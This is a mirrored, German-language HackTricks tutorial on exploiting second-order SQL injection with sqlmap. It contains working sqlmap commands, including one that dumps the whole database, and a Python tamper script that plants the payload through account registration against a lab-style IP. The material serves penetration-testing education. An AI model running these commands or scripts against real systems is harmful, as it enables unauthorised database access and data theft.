mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
74 lines
3.6 KiB
Markdown
74 lines
3.6 KiB
Markdown
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**SQLMap kann Second Order SQLis ausnutzen.**\
|
|
Sie müssen bereitstellen:
|
|
|
|
- Die **Anfrage**, in der die **sqlinjection payload** gespeichert wird
|
|
- Die **Anfrage**, in der die **payload** **ausgeführt** wird
|
|
|
|
Die Anfrage, in der die SQL-Injection-Payload gespeichert ist, wird **wie bei jeder anderen Injection in sqlmap angegeben**. Die Anfrage, **in der sqlmap die Ausgabe/Ausführung** der Injection lesen kann, kann mit `--second-url` oder mit `--second-req` angegeben werden, wenn Sie eine vollständige Anfrage aus einer Datei angeben müssen.
|
|
|
|
**Ein einfaches Beispiel für die zweite Ordnung:**
|
|
```bash
|
|
#Get the SQL payload execution with a GET to a url
|
|
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
|
|
|
#Get the SQL payload execution sending a custom request from a file
|
|
sqlmap -r login.txt -p username --second-req details.txt
|
|
```
|
|
In mehreren Fällen **wird dies nicht ausreichen**, da Sie **weitere Aktionen durchführen** müssen, abgesehen davon, dass Sie die Nutzlast senden und auf eine andere Seite zugreifen.
|
|
|
|
Wenn dies erforderlich ist, können Sie einen **sqlmap tamper** verwenden. Zum Beispiel wird das folgende Skript einen neuen Benutzer **unter Verwendung der sqlmap-Nutzlast als E-Mail** registrieren und sich abmelden.
|
|
```python
|
|
#!/usr/bin/env python
|
|
|
|
import re
|
|
import requests
|
|
from lib.core.enums import PRIORITY
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def login_account(payload):
|
|
proxies = {'http':'http://127.0.0.1:8080'}
|
|
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
|
|
|
|
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
|
|
url = "http://10.10.10.10/create.php"
|
|
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
|
|
|
url = "http://10.10.10.10/exit.php"
|
|
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
|
|
|
def tamper(payload, **kwargs):
|
|
headers = kwargs.get("headers", {})
|
|
login_account(payload)
|
|
return payload
|
|
```
|
|
Ein **SQLMap-Tamper wird immer ausgeführt, bevor ein Injektionsversuch mit einem Payload gestartet wird** **und er muss einen Payload zurückgeben**. In diesem Fall interessiert uns der Payload nicht, sondern wir möchten einige Anfragen senden, sodass der Payload nicht geändert wird.
|
|
|
|
Wenn wir aus irgendeinem Grund einen komplexeren Ablauf benötigen, um die zweite Ordnung SQL-Injektion auszunutzen, wie zum Beispiel:
|
|
|
|
- Ein Konto mit dem SQLi-Payload im "E-Mail"-Feld erstellen
|
|
- Abmelden
|
|
- Mit diesem Konto anmelden (login.txt)
|
|
- Eine Anfrage senden, um die SQL-Injektion auszuführen (second.txt)
|
|
|
|
**Diese sqlmap-Zeile wird helfen:**
|
|
```bash
|
|
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
|
|
##########
|
|
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
|
|
# -r login.txt : Indicates the request to send the SQLi payload
|
|
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
|
|
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
|
|
# --proxy http://127.0.0.1:8080 : Use this proxy
|
|
# --technique=U : Help sqlmap indicating the technique to use
|
|
# --dbms mysql : Help sqlmap indicating the dbms
|
|
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
|
|
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
|
|
# -a : Dump all
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|